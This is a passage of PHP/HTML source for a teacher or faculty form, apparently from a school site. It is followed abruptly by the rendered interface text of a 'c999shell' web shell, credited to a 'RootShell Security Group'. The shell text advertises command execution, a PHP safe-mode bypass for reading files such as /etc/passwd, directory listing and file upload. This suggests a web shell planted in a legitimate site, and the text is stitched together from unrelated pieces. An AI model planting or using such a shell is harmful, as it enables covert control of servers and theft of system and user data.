                  <input type="hidden" name="Teacher_code" value="<? echo $rss[Teacher_code]?>" />
                  <input  type="hidden" name="Teacher_id" value="<? echo $rss[Teacher_id]?>" />
                  <input name="StatusId"  type="hidden" id="StatusId" value="<? echo $rss[StatusId]?>" />
                  <input name="Faculty_code"  type="hidden" id="Faculty_code" value="<? echo $rss[Faculty_code]?>" />
                  <input name="Person_type"  type="hidden" id="Person_type" value="<? echo $rss[Person_type]?>" />
                  </span></td>
              </tr>
          </table>
          </div>
<table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td>&nbsp;</td>
        </tr>
      </table>
     <br /></td></tr>
     </form>
     </table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    /**  Close the Database  */
    $dbObj->disconn();
    
    /**  Unset Class  */
    unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--